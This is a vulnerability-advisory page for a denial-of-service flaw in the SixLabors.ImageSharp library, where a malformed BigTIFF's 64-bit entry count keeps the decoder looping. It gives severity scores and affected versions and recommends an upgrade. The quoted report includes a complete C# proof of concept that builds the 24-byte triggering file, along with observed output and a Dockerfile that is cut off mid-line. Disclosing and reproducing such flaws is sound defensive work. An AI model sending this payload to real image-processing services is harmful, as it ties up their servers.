VulnerabilityPublished 7 Oct 2026Updated 26 Oct 2026

CVE-2026-106116: ImageSharp · BigTIFF IFD count can keep a decoder thread in a non-progressing loop

Affects SixLabors.ImageSharpSource GCVE Database

Authoritative record:CVE-2026-106116· Medium 5.3

Not known to be exploited · CVSS 5.3 Medium : upgrade to 3.2.0 when convenient.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 3.1 base score

5.3Medium

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.3% chance of exploitation in 30 days – higher than 25% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 3.2.0, 4.1.2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: Low

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: Low: Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 6 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade SixLabors.ImageSharp to 3.2.0; SixLabors.ImageSharp to 4.1.2.

Affected software

Product	Affected	Fixed in
NuGetSixLabors.ImageSharp	Affected >=2.0.0 <3.2.0	Fixed in 3.2.0
NuGetSixLabors.ImageSharp	Affected >=4.0.0 <4.1.2	Fixed in 4.1.2

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary `SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input. One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both. ### Details [`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop. ### Tested environment The reproduction uses the DLL in the published NuGet 4.1.1 package: ```text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker ``` ### Reproduction The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF with its first IFD at offset 16 and entry count `5000000000`. There are no bytes for an entry. Run the supplied container under a five-second timeout. Complete observed output: ```text bigTiffBytes=24 entryCount=5000000000 timeout exit status: 124 ``` `timeout` exit code 124 means the decoder had not returned after five seconds. The control is identical except the entry count is `1`: ```text bigTiffBytes=24 entryCount=1 decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth Docker exit status: 0 ``` The control rejects malformed input promptly; it does not time out. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; static class Program { // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data. // The count field is controlled by the input. private static byte[] BuildBigTiff(ulong entryCount) { byte[] bytes = new byte[24]; bytes[0] = 0x49; bytes[1] = 0x49; // II bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8); BitConverter.GetBytes(entryCount).CopyTo(bytes, 16); return bytes; } private static void Main(string[] args) { ulong entryCount = ulong.Parse(args[0]); byte[] bytes = BuildBigTiff(entryCount); Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}"); try { using var stream = new MemoryStream(bytes); using Image image = Image.Load(stream); Console.Error.WriteLine("completed"); } catch (Exception ex) { Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}"); } } } ``` Project file: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup>  <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> </Reference> </ItemGroup> </Project> ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY wmxv.csproj Program.cs ./ RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' >

References

Community reviews

Loading reviews…

Exploitation evidence

What to do

Affected software

Description

WeaknessesCWE-835

Technical details

References

Community reviews

Related threats